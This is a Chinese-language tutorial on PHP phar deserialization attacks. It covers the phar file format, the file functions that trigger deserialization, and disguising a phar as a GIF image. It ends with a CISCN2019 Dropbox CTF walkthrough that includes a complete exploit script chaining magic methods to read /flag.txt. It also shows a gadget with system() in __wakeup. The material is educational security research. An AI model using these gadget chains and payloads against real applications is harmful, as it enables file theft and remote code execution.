0x00 phar反序列化
phar反序列化即在文件系统函数(file_exists()
、is_dir()
等)参数可控的情况下,配合phar://伪协议
,可以不依赖unserialize()
直接进行反序列化操作。
关于其他反序列化的总结,可以看我的这篇文章
0x01 原理
首先了解一下phar文件的结构,一个phar文件由四部分构成:
a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents:被压缩文件的内容。
[optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
0x02 demo
注意:如果想要生成Phar文件,要将php.ini
中的phar.readonly
选项设置为Off
,否则无法生成phar
文件。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Test {} $o = new Test(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
可以看到meta-data是以序列化的形式存储的:
0x03 影响的函数
知道创宇的seaii 更为我们指出了所有文件函数均可使用:
但实际上只要调用了php_stream_open_wrapper
的函数,都存在这样的问题。
因此还有如下函数:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
mime_content_type
standard
getimagesize
getimagesizefromstring
finfo
zip
1 2 3
| $zip = new ZipArchive(); $res = $zip->open('c.zip'); $zip->extractTo('phar://test.phar/test');
|
Postgres
1 2 3
| <?php $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456")); @$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
|
MySQL
LOAD DATA LOCAL INFILE
也会触发这个php_stream_open_wrapper
1 2 3 4 5 6 7 8 9 10 11
| <?php class A { public $s = ''; public function __wakeup () { system($this->s); } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
|
再配置一下mysqld。(非默认配置)
1 2 3
| [mysqld] local-infile=1 secure_file_priv=""
|
0x04 Trick
(1)如果过滤了phar://
协议怎么办呢?
有以下几种方法可以绕过:
(2)除此之外,我们还可以将phar伪造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
可以看到加了GIF89a文件头,从而使其伪装成gif文件:
0x05 实例分析
CISCN2019 Dropbox
进入题目后,注册一个账号并登录,发现是一个网盘界面,限制了只能上传图片后缀,并能进行下载、删除操作:
没有其他什么利用点,我们抓一下下载的包:
发现可以成功读取到文件的内容,于是尝试任意文件下载:
确认存在任意文件下载,upload.php
、class.php
、download.php
、index.php
、login.php
、register.php
均可以下载得到源码,下面就是进行代码审计了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?> =
|
在download.php
中我们可以看到它过滤了flag
,这反而说明了flag
就在当前目录下,但是不允许通过任意文件下载读取。
继续审计,发现在class.php
中File
类的close
方法有敏感函数file_get_contents()
,这里应该就是利用点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
下面要思考的就是如何才能利用到这个函数,看到这些类以及魔术方法,不难想到应该是使用PHP反序列化来读取文件。
但是发现整个代码里没有使用unserialize()
函数,这时就要利用上面的Phar反序列化,我们寻找利用点。
在delete.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
可以看到创建了一个File
类的对象,然后调用了open()
方法,参数就是我们要删除的文件名,我们去看一下这个open()
方法:
1 2 3 4 5 6 7 8
| public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
|
使用了file_exists()
和is_dir()
处理了filename
,而前面总结过,这两个函数都可以造成phar反序列化。
这样这题的思路就清楚了,即利用phar反序列化控制file_get_contents
来读取flag.txt
于是我们来审计class.php
构造序列化脚本,首先找一下有哪些魔术方法,看到User类中__destruct()
调用了同名的close()
方法,而FileList类中有__call()
方法。
熟悉反序列化的应该很容易看出来:将User类的$db
实例化为FIleLise的对象,这样当析构函数被调用的时候,就会调用FileList类的close()
方法,而FileList类并没有该方法,于是调用__call()
方法,观察一下__call
方法:
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
调用后相当于把close
传给了参数$func
,然后遍历$files
分别调用每个值的$func()
方法,这里也就是调用close()
,并将结果赋给result
。
所以只需要$files
里有一个File类的对象,就能调用File类中的close()
方法了,再将File类的filename
赋为/flag.txt
即可将结果读出来,然后在FileList类的__destruct()
方法中会result
的结果打印出来。
最终脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
class User { public $db;
public function __construct() { $this->db = new FileList; } }
class FileList { private $files; private $results; private $funcs;
public function __construct() { $file = new File; $this->files = array($file); $this->results = array(); $this->funcs = array(); } }
class File { public $filename; public function __construct() { $this->filename = '/flag.txt'; } }
$o = new User(); @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
运行得到shell.phar
,改后缀为png上传:
在删除的时候抓包,并加上phar://
伪协议,然后发包即可成功读到flag:
本篇文章以总结为主,所以部分内容参考了下列文章:
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057